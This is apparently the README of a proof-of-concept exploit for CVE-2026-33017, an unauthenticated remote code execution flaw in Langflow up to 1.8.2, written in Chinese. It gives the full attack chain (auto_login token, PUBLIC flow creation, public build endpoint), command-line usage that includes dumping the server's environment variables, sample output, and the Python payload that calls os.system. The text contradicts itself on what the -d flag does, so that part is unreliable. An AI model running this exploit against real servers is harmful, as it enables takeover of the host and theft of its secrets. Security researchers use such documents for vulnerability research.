
针对 CVE-2026-33017 的概念验证,演示了在存在漏洞的 Langflow 版本中,通过恶意的 CustomComponent 代码注入实现未经身份验证的远程代码执行。
CVE ID: CVE-2026-33017
受影响软件: Langflow
受影响版本: <= 1.8.2
修复版本: >= 1.9.0
严重程度: 严重
作者: arensballiu
日期: 2026
Langflow 暴露了一个公开的 flow 构建端点 (/api/v1/build_public_tmp/{flowID}/flow),该端点接受
任意的 CustomComponent 代码块并在服务端执行它们,且无需认证。通过
将恶意 Python 载荷注入到 CustomComponent 节点的 code 字段中,未认证的
攻击者可以以 Langflow 服务器进程的权限运行任意操作系统命令。
攻击链首先滥用 /api/v1/auto_login 端点,当 Langflow 运行在其默认自动登录配置下时,
该端点无需凭据即可签发 bearer token。然后它使用
该 token 创建一个临时的公开 flow,并通过构建端点触发服务端代码执行。
包含一个 docker 文件,用于创建已安装并运行 langflow 的 docker 实例。
| 端点 | 方法 | 需要认证 | 用途 |
|---|---|---|---|
/api/v1/auto_login | GET | 否 | 获取 bearer token(必须启用自动登录) |
/api/v1/flows/ | POST | 是(Bearer) | 创建新 flow |
/api/v1/build_public_tmp/{flowID}/flow | POST | 否(公开) | 触发构建 — 易受攻击的执行点 |
/api/v1/flows/{flowID} | DELETE | 是(Bearer) | 清理创建的 flow |
文件: CVE-2026-33017_POC.py
requests 库pip install requests
python3 CVE-2026-33017_POC.py -u <target_url> -c <command> [-d]
| 标志 | 长格式 | 必需 | 描述 |
|---|---|---|---|
-u | --url | 是 | Langflow 实例的基础 URL |
-c | --command | 是 | 在服务器上执行的操作系统命令 |
-d | --delete | 否 | 利用后删除创建的 flow |
验证代码执行:
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "id"
获取服务器环境变量:
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "env"
利用后保持 flow 存活(跳过清理):
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "whoami" -d
[+] Got token
[+] Created flow with id: <id>
[+] Exploit sent successfully!
[+] Flow deleted successfully!
该漏洞利用将以下 Python 代码片段注入到 CustomComponent 节点的 code 字段中:
from langflow.custom import Component
from langflow.io import Output
_r = __import__('os').system(<command>)
class ExploitComponent(Component):
display_name = "ExploitComponent"
outputs = [Output(display_name="Result", name="output", method="run")]
def run(self):
return "ok"
__import__('os').system(...) - 动态导入 os 模块并在服务器上执行攻击者提供的 shell 命令。CustomComponent,用于满足 Langflow 的组件加载器而不引发解析错误。PUBLIC,并且在其公开端点上调用构建端点,这意味着触发执行不需要会话 cookie 或认证 token。Langflow 的 CustomComponent 系统允许将任意 Python 代码作为 flow
定义的一部分提交。/api/v1/build_public_tmp/{flowID}/flow 端点会在服务端构建并部分求值这些
代码,包括模块级语句,且没有沙箱或限制对
__import__ 等 Python 内置函数的访问。
1. GET /api/v1/auto_login → 获取 Bearer token(无需凭据)
2. POST /api/v1/flows/ → 创建 PUBLIC flow(Bearer token)
3. POST /api/v1/build_public_tmp/ → 注入并执行恶意 CustomComponent(无需认证)
4. DELETE /api/v1/flows/{id} → 清理(可选)
所有四个步骤均可由匿名攻击者针对默认 Langflow 部署执行。
LANGFLOW_AUTO_LOGIN=false)。本概念验证仅供教育和授权的安全研究目的提供。 未经明确书面许可,对系统使用此脚本是非法的且不道德的。 作者和贡献者对滥用不承担任何责任。